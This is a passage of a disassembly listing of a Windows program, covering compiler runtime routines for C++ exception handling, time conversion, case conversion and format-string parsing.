		jl	short loc_41D037


loc_41D032:				; CODE XREF: sub_41CFF1+3Aj
		call	sub_41D552


loc_41D037:				; CODE XREF: sub_41CFF1+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41D052
		push	103h
		push	ebx
		push	eax
		call	sub_41D4B0


loc_41D052:				; CODE XREF: sub_41CFF1+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D072
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41D08F
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41D072:				; CODE XREF: sub_41CFF1+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41D023
; ---------------------------------------------------------------------------


loc_41D07D:				; CODE XREF: sub_41CFF1+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D08F	proc near		; CODE XREF: sub_41CFF1+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41D0A0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D0A0:				; CODE XREF: sub_41D08F+Cj
		jmp	sub_41D4FC
sub_41D08F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D0A5	proc near		; CODE XREF: sub_41CD45+151p
					; sub_41CEEC+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41D0C7
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41D256
		add	esp, 10h


loc_41D0C7:				; CODE XREF: sub_41D0A5+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41D0D3
		push	edi
		jmp	short loc_41D0D6
; ---------------------------------------------------------------------------


loc_41D0D3:				; CODE XREF: sub_41D0A5+29j
		push	[ebp+arg_24]


loc_41D0D6:				; CODE XREF: sub_41D0A5+2Cj
		call	sub_417EFC
sub_41D0A5	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_41CFF1
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41D120
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41D11B
		push	edi
		push	eax
		call	sub_417EBA


loc_41D11B:				; CODE XREF: ___:0041D112j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D120	proc near		; CODE XREF: ___:0041D108p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424870
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4CDA30
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4CDA34
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4CDA30, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4CDA34, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_417F81
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D1E6
		mov	eax, [ebp+var_2C]


loc_41D1AD:				; CODE XREF: sub_41D1C6+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D120	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1BC	proc near		; DATA XREF: ___:00424880o
		push	dword ptr [ebp-14h]
		call	sub_41D22C
		pop	ecx
		retn
sub_41D1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1C6	proc near		; DATA XREF: ___:00424884o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4181E2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41D1AD
sub_41D1C6	endp

; ---------------------------------------------------------------------------


loc_41D1DE:				; DATA XREF: ___:00424878o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41D1E6	proc near		; CODE XREF: sub_41D120+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4CDA30, eax
		mov	eax, [ebp-20h]
		mov	dword_4CDA34, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41D22B
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41D22B
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41D22B
		cmp	[ebp-24h], ebx
		jnz	short locret_41D22B
		cmp	[ebp-2Ch], ebx
		jz	short locret_41D22B
		call	sub_41824A
		push	eax
		push	edi
		call	sub_41D41A
		pop	ecx
		pop	ecx

locret_41D22B:				; CODE XREF: sub_41D1E6+1Cj
					; sub_41D1E6+22j ...
		retn
sub_41D1E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D22C	proc near		; CODE XREF: sub_41D1BC+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41D253
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41D253
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41D253
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41D253
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D253:				; CODE XREF: sub_41D22C+Cj
					; sub_41D22C+12j ...
		xor	eax, eax
		retn
sub_41D22C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D256	proc near		; CODE XREF: sub_41D0A5+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424888
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41D3FF
		cmp	byte ptr [eax+8], 0
		jz	loc_41D3FF
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41D3FF
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41D2F3
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41D2E4:				; CODE XREF: sub_41D256+F5j
		push	eax
		call	sub_41D481
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D2F3:				; CODE XREF: sub_41D256+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41D34D
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41D3FB
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41D3FB
		add	esi, 8
		push	esi
		jmp	short loc_41D2E4
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D256+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41D395
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D395:				; CODE XREF: sub_41D256+103j
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+18h]
		call	sub_42090A
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		test	byte ptr [esi],	4
		jz	short loc_41D3DC
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EF5
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D3DC:				; CODE XREF: sub_41D256+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EEE
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D3F6:				; CODE XREF: sub_41D256+6Aj
					; sub_41D256+7Cj ...
		call	sub_41D552


loc_41D3FB:				; CODE XREF: sub_41D256+98j
					; sub_41D256+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D3FF:				; CODE XREF: sub_41D256+2Ej
					; sub_41D256+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D256	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D41A	proc near		; CODE XREF: sub_41CD45+170p
					; sub_41D1E6+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424898
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D461
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41D461
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_417EEE
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D461:				; CODE XREF: sub_41D41A+2Aj
					; sub_41D41A+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D41A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_41D481	proc near		; CODE XREF: sub_41D256+8Fp
					; sub_41D256+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41D4A2
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41D4A2:				; CODE XREF: sub_41D481+12j
		pop	esi
		retn
sub_41D481	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4B0	proc near		; CODE XREF: sub_417F81+40p
					; sub_41CFF1+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41826D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41D4EF
		mov	ecx, 2


loc_41D4EF:				; CODE XREF: sub_41D4B0+38j
		push	ecx
		call	sub_41826D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41D4B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4FC	proc near		; CODE XREF: sub_41CD45:loc_41CEE7j
					; sub_41D08F:loc_41D0A0j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248A8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4CDA3C
		test	eax, eax
		jz	short loc_41D544
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41D540
; ---------------------------------------------------------------------------


loc_41D539:				; DATA XREF: ___:004248B8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D53D:				; DATA XREF: ___:004248BCo
		mov	esp, [ebp+var_18]


loc_41D540:				; CODE XREF: sub_41D4FC+3Bj
		and	[ebp+var_4], 0


loc_41D544:				; CODE XREF: sub_41D4FC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41D54D:				; DATA XREF: ___:004248B0o
		jmp	loc_420922
sub_41D4FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D552	proc near		; CODE XREF: sub_418123+23p
					; sub_418123:loc_41818Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248C0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_435FF4
		test	eax, eax
		jz	short loc_41D59A
		mov	[ebp+var_4], 1
		call	eax ; sub_41D4FC
		jmp	short loc_41D596
; ---------------------------------------------------------------------------


loc_41D58F:				; DATA XREF: ___:004248D0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D593:				; DATA XREF: ___:004248D4o
		mov	esp, [ebp+var_18]


loc_41D596:				; CODE XREF: sub_41D552+3Bj
		and	[ebp+var_4], 0


loc_41D59A:				; CODE XREF: sub_41D552+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41D5A3:				; DATA XREF: ___:004248C8o
		jmp	sub_41D4FC
sub_41D552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5A8	proc near		; CODE XREF: sub_418603+7p
					; sub_418603+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4CF028
		push	esi
		cmp	eax, 3
		jnz	short loc_41D5D1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AD89
		test	eax, eax
		pop	ecx
		jz	short loc_41D5CE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41D606
; ---------------------------------------------------------------------------


loc_41D5CE:				; CODE XREF: sub_41D5A8+1Cj
		push	esi
		jmp	short loc_41D5F8
; ---------------------------------------------------------------------------


loc_41D5D1:				; CODE XREF: sub_41D5A8+Ej
		cmp	eax, 2
		jnz	short loc_41D5F5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D5F5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41D606
; ---------------------------------------------------------------------------


loc_41D5F5:				; CODE XREF: sub_41D5A8+2Cj
					; sub_41D5A8+43j
		push	[ebp+arg_0]


loc_41D5F8:				; CODE XREF: sub_41D5A8+27j
		push	0
		push	dword_4CF024
		nop
		call	near ptr 28806E2h


loc_41D606:				; CODE XREF: sub_41D5A8+24j
					; sub_41D5A8+4Bj
		pop	esi
		leave
		retn
sub_41D5A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D609	proc near		; CODE XREF: sub_4186B1+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41D6C5
		cmp	ebx, 8Ah
		jg	loc_41D6C5
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_436724[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41D648
		cmp	edi, 2
		jle	short loc_41D648
		inc	esi


loc_41D648:				; CODE XREF: sub_41D609+37j
					; sub_41D609+3Cj
		call	sub_420939
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_436640
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41D6BB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41D6C1
		cmp	dword_436644, 0
		jz	short loc_41D6C1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420BAC
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D6C1


loc_41D6BB:				; CODE XREF: sub_41D609+90j
		add	ecx, dword_436648


loc_41D6C1:				; CODE XREF: sub_41D609+96j
					; sub_41D609+9Fj ...
		mov	eax, ecx
		jmp	short loc_41D6C8
; ---------------------------------------------------------------------------


loc_41D6C5:				; CODE XREF: sub_41D609+13j
					; sub_41D609+1Fj
		or	eax, 0FFFFFFFFh


loc_41D6C8:				; CODE XREF: sub_41D609+BAj
		pop	ebx
		leave
		retn
sub_41D609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6CB	proc near		; CODE XREF: sub_418833+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4CDA48, 0
		push	ebx
		jnz	short loc_41D6F6
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41D794
		cmp	eax, 7Ah
		jg	loc_41D794
		sub	eax, 20h
		jmp	loc_41D794
; ---------------------------------------------------------------------------


loc_41D6F6:				; CODE XREF: sub_41D6CB+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41D729
		cmp	dword_433E7C, 1
		jle	short loc_41D716
		push	2
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D721
; ---------------------------------------------------------------------------


loc_41D716:				; CODE XREF: sub_41D6CB+3Dj
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41D721:				; CODE XREF: sub_41D6CB+49j
		test	eax, eax
		jnz	short loc_41D729


loc_41D725:				; CODE XREF: sub_41D6CB+AFj
		mov	eax, ebx
		jmp	short loc_41D794
; ---------------------------------------------------------------------------


loc_41D729:				; CODE XREF: sub_41D6CB+34j
					; sub_41D6CB+58j
		mov	edx, off_433C70
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D74C
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41D755
; ---------------------------------------------------------------------------


loc_41D74C:				; CODE XREF: sub_41D6CB+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41D755:				; CODE XREF: sub_41D6CB+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4CDA48
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D725
		cmp	eax, 1
		jnz	short loc_41D787
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D794
; ---------------------------------------------------------------------------


loc_41D787:				; CODE XREF: sub_41D6CB+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D794:				; CODE XREF: sub_41D6CB+14j
					; sub_41D6CB+1Dj ...
		pop	ebx
		leave
		retn
sub_41D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D797	proc near		; CODE XREF: sub_418A52+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41E19D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41D7C6
; ---------------------------------------------------------------------------


loc_41D7C1:				; CODE XREF: sub_41D797+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41D7C6:				; CODE XREF: sub_41D797+28j
		cmp	dword_433E7C, 1
		jle	short loc_41D7DE
		movzx	eax, al
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D7ED
; ---------------------------------------------------------------------------


loc_41D7DE:				; CODE XREF: sub_41D797+36j
		mov	ecx, off_433C70
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41D7ED:				; CODE XREF: sub_41D797+45j
		cmp	eax, ebx
		jz	short loc_41D827
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41E224
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41E20D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		add	esp, 0Ch


loc_41D815:				; CODE XREF: sub_41D797+8Ej
		test	eax, eax
		jz	short loc_41D827
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		pop	ecx
		jmp	short loc_41D815
; ---------------------------------------------------------------------------


loc_41D827:				; CODE XREF: sub_41D797+58j
					; sub_41D797+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41E109
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41D85E:				; CODE XREF: sub_41D797+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_433E7C, 1
		jle	short loc_41D87B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D88A
; ---------------------------------------------------------------------------


loc_41D87B:				; CODE XREF: sub_41D797+D3j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41D88A:				; CODE XREF: sub_41D797+E2j
		test	eax, eax
		jz	short loc_41D8A0
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8A0:				; CODE XREF: sub_41D797+F5j
		cmp	ebx, 4Eh
		jg	short loc_41D8E3
		jz	short loc_41D905
		cmp	ebx, 2Ah
		jz	short loc_41D8DE
		cmp	ebx, 46h
		jz	short loc_41D905
		cmp	ebx, 49h
		jz	short loc_41D8C0
		cmp	ebx, 4Ch
		jnz	short loc_41D8F2
		inc	[ebp+var_D]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8C0:				; CODE XREF: sub_41D797+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41D8F2
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41D8F2
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
